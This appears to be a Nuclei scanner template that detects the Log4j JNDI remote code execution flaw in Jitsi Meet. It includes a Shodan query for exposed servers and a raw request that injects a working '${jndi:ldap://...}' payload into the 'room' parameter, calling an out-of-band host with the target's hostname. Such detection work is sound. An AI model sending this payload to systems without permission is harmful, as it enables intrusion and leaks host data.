63 lines
2.0 KiB
YAML
63 lines
2.0 KiB
YAML
id: jitsi-meet-log4j-rce
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info:
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name: Jitsi Meet - Remote Code Execution (Apache Log4j)
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author: shaikhyaser
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severity: critical
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description: |
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Jitsi Meet is susceptible to Log4j JNDI remote code execution. Jitsi is a collection of free and open-source multiplatform voice, video conferencing and instant messaging applications for the Web platforms.
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reference:
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- https://github.com/jitsi/security-advisories/blob/4e1ab58585a8a0593efccce77d5d0e22c5338605/advisories/JSA-2021-0004.md
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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max-request: 1
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shodan-query: title:"Jitsi Meet"
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tags: cve,cve2021,rce,jndi,log4j,jitsi,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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str: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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GET /http-bind?room=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Referer: {{RootURL}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors:
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- type: kval
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kval:
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- interactsh_ip
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- type: regex
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part: interactsh_request
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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# digest: 4a0a0047304502203465904927585143210ad11151357a290f5bf5223975073ceb732e375c09c6b3022100ed18efce0aa5306d76a7350fa729494c1ab6fe0282b97cbd3a2e86e8ad2f327d:922c64590222798bb761d5b6d8e72950
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